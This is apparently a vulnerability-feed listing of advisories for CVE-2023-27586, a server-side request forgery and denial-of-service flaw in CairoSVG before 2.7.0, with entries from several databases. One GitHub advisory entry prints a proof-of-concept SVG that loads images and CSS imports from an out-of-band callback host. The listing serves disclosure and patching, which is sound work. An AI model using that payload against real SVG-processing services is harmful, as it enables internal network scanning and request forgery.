https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-09T06:27:39.114480+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2023-02149 bdu:2023-02149 2026-10-09T06:27:39.254509+00:00 bdu:2023-02149 https://cve.radiocsirt.org/vuln/euvd-2026-218835 EUVD-2026-218835 2026-10-09T06:27:39.254557+00:00 EUVD-2026-218835 https://cve.radiocsirt.org/vuln/fkie_cve-2023-27586 fkie_cve-2023-27586 2026-10-09T06:27:39.254579+00:00

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

 https://cve.radiocsirt.org/vuln/ghsa-rwmf-w63j-p7gv GHSA-rwmf-w63j-p7gv — CairoSVG improperly processes SVG files loaded from external resources 2026-10-09T06:27:39.254625+00:00

Affected: PyPI: CairoSVG

# SSRF vulnerability

## Summary When CairoSVG processes an SVG file, it can make requests to the inner host and different outside hosts.

## Operating system, version and so on Linux, Debian (Buster) LTS core 5.10 / Parrot OS 5.1 (Electro Ara), python 3.9

## Tested CairoSVG version 2.6.0

## Details A specially crafted SVG file that loads an external resource from a URL. Remote attackers could exploit this vulnerability to cause a scan of an organization's internal resources or a DDOS attack on external resources. It looks like this bug can affect websites and cause request forgery on the server.

## PoC 1. Generating malicious svg file: 1.1 CairoSVG_exploit.svg: ```svg <?xml version="1.0" standalone="yes"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"> <image height="200" width="200" xlink:href="http://[jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com](http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/)/3" /> <style type="text/css">@import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com/5");</style> <style type="text/css"> <![CDATA[ @import url("http://jzm72frk1jng4ametta5bpyn0e65uvik.oastify.com:80/9"); rect { fill: red; stroke: blue; stroke-width: 3 } ]]> </style> </svg> ```

1.2 CairoSVG_exploit_2.svg: ```svg <?xml versi…

 https://cve.radiocsirt.org/vuln/gsd-2023-27586 gsd-2023-27586 2026-10-09T06:27:39.254779+00:00 gsd-2023-27586 https://cve.radiocsirt.org/vuln/opensuse-su-2023:0260-1 openSUSE-SU-2023:0260-1 — Security update for python-CairoSVG 2026-10-09T06:27:39.254798+00:00

Security update for python-CairoSVG

 https://cve.radiocsirt.org/vuln/pysec-2023-9 PYSEC-2023-9 2026-10-09T06:27:39.254826+00:00

Affected: PyPI: cairosvg

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2023-27586 UBUNTU-CVE-2023-27586 2026-10-09T06:27:39.254861+00:00

Affected: Ubuntu:16.04:LTS: cairosvg, Ubuntu:18.04:LTS: cairosvg, Ubuntu:20.04:LTS: cairosvg, Ubuntu:22.04:LTS: cairosvg, Ubuntu:24.04:LTS: cairosvg, Ubuntu:25.10: cairosvg, Ubuntu:26.04:LTS: cairosvg

CairoSVG is an SVG converter based on Cairo, a 2D graphics library. Prior to version 2.7.0, Cairo can send requests to external hosts when processing SVG files. A malicious actor could send a specially crafted SVG file that allows them to perform a server-side request forgery or denial of service. Version 2.7.0 disables CairoSVG's ability to access other files online by default.